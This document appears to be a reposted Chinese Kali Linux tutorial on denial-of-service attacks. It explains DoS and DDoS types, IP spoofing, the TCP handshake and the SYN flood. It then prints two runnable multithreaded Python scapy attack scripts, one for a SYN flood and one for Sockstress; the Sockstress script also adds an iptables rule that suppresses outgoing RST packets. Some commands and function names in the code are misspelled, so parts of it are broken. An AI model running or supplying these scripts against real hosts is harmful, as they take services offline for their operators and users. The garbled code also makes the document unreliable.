kali linux之拒絕服務


Dos不是DOS(利用程序漏洞或一對一資源耗盡的denial of service拒絕服務)

DDoS分布式拒絕服務(多對一的攻擊匯聚資源能力,重點在於量大,屬於資源耗盡型)

 

歷史

以前:欠缺技術能力,ping死你(難纏)

現在:最強大,最危險的攻擊,攻擊方式眾多(專業化的勒索,販賣和租用肉雞已經成為黑產中的重要部分,最終的辦法就是拼資源,投資抗D,或者乖乖交保護費)

 

D網絡:基於大量的flood耗盡目標網絡帶寬(ICMP Flood ,UDP Flood)

D協議:攻擊協議漏洞發起的拒絕服務,(Syn Flood,Ping of Death,ARP,DNS,802.11,SSL)

D應用:針對應用程序和操作系統漏洞發起的拒絕服務攻擊,大量的訪問消耗應用(cc代理),通常表現為操作系統正常,網絡流量巨大,但是服務停止響應。

 

從攻擊者到受害者------網絡---》FW--》服務器---》服務應用

 

資源耗盡------

網絡:帶寬

FW:吞吐量,並發連接

服務器:CPU,內存,I/O

應用:處理請求能力,對OS資源的使用權

 

程序漏洞攻擊-----緩沖區溢出,協議,程序邏輯漏洞

 

 

Syn-Flood---常伴隨ip欺騙

IP地址欺騙

經常用於dos攻擊

根據ip頭地址尋址(可以偽造ip源地址)

邊界路由器過濾(入站,出站)

受害者可能是源,目的地址

繞過基於地址的驗證

壓力測試模擬多用戶

上層協議(TCP序列號)

 

客戶端發送一個包含SYN標志的TCP報文,SYN即同步(Synchronize),同步報文會指明客戶端使用的端口以及TCP連接的初始序號

第二步,服務器在收到客戶端的SYN報文后,將返回一個SYN+ACK的報文,表示客戶端的請求被接受,同時TCP序號被加一,ACK即確認(Acknowledgment)
 
第三步,客戶端也返回一個確認報文ACK給服務器端,同樣TCP序列號被加一,到此一個TCP連接完成。

以上的連接過程在TCP協議中被稱為三次握手(Three-way Handshake)

問題就出在TCP連接的三次握手中,假設一個用戶向服務器發送了SYN報文后突然死機或掉線,那么服務器在發出SYN+ACK應答報文后是無法收到客戶端的ACK報文的(第三次握手無法完成),這種情況下服務器端一般會再次發送SYN+ACK給客戶端,並等待一段時間后丟棄這個未完成的連接,這段時間的長度我們稱為SYN Timeout,一般來說這個時間是分鍾的數量級(大約為30秒-2分鍾);一個用戶出現異常導致服務器的一個線程等待1分鍾並不是什么很大的問題,但如果有一個惡意的攻擊者大量模擬這種情況,服務器端將為了維護一個非常大的半連接列表而消耗非常多的資源----數以萬計的半連接,即使是簡單的保存並遍歷也會消耗非常多的CPU時間和內存,何況還要不斷對這個列表中的IP進行SYN+ACK的重試。實際上如果服務器的TCP/IP棧不夠強大,最后的結果往往是堆棧溢出崩潰---即使服務器端的系統足夠強大,服務器端也將忙於處理攻擊者偽造的TCP連接請求而無暇理睬客戶的正常請求,此時從正常客戶的角度看來,服務器失去響應,服務器端受到了SYN Flood攻擊(SYN洪水攻擊

 

python實現攻擊

#!/usr/bin/python
# -*- coding: utf-8 -*-

from scapy.all import *
from time import sleep
import thread
import random
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

if len(sys.argv) != 4:
    print "用法: ./syn_flood.py [IP地址] [端口] [線程數]"
    print "舉例: ./syn_flood.py 1.1.1.1 80 20"
    sys.exit()

target = str(sys.argv[1])
port = int(sys.argv[2])
threads = int(sys.argv[3])

print "正在執行 SYN flood 攻擊,按 Ctrl+C 停止攻擊."
def synflood(target,port):
    while 0 == 0:
        x = random.randint(0,65535)
        send(IP(dst=target)/TCP(dport=port,sport=x),verbose=0)
for x in range(0,threads):
    thread.start_new_thread(synflood, (target,port))

while 0 == 0:
    sleep(1)

 

 

抓包查看

 

 

 

 

 

Sockstress

針對tcp服務的拒絕服務攻擊

消耗目標操作系統資源

與攻擊目標建立大量的socket鏈接

完成三次握手,最后的ack包windows為0(客戶端不接收數據)

攻擊者資源消耗小(cpu,內存,帶寬)

異步攻擊,單機可對抗高配資源服務器

windows窗口實現的tcp流控

 

防御措施:

直到今天sockstress攻擊仍然是一種很有效的Dos攻擊方式

由於建立完整的TCP三次握手,因此使用syn cookie防御無效

根本的防御辦法是采用白名單,但是不實際

折中對策,限制單位時間內每秒連接超市的TCP連接數

 

python腳本實現:

#!/usr/bin/python
# -*- coding: utf-8 -*-
from scapy.all import *
from time import sleep
import thread
import logging
import os
import signal
import sys
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

if len(sys.argv) !=4:
    print "用法: ./sock_stress.py [目標IP] [端口] [線程數]"
    print "舉例: ./sock_stress.py 10.0.0.5 21 20 ## 請確定唄攻擊端口處於開放狀態"
    sys.exit()
target = str(sys.argv[1])
dstport = int(sys.argv[2])
threads = int(sys.argv[3])


## 攻擊函數
def sockstress(target,dstport):
    while 0==0:
        try:
            x = random.randint(0,65535)
            response = srl(IP(dst=target)/TCP(sport=x,dport=dstport,flags='S'),timeout=1,verbose=0)
            send(IP(dst=target)/ TCP(dsport=dstport,sport=x,window=0,flags='A',ack=(response[TCP].seq + 1))/'\x00\x00',verbose=0)
        except:
            pass


## 停止攻擊函數
def shutdown(signal, frame):
    print '正在恢復 iptables 規則'
    os.system('iptable -D OUTPUT -p tcp --tcp-flas RST RST -d ' + target + ' -j DROP')
    sys.exit()


## 添加iptables規則
os.system('iptables -A OUTPUT -p tcp --tcp-flags RST RST -d ' + target + ' -j DROP')
signal.signal(signal.SIGINT, shutdown)


## 多線程攻擊
print "\n攻擊正在進行...按 Ctrl+C 停止攻擊"
for x in range(0,threads):
    thread.start_new_thread(sockstress, (target,dstport))


## 永遠執行
while 0==0:
    sleep(1)

 

執行攻擊並抓包查看

 

 

 

 

友情鏈接 http://www.cnblogs.com/klionsec

               http://www.cnblogs.com/l0cm

               http://www.cnblogs.com/Anonyaptxxx

               http://www.feiyusafe.cn

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM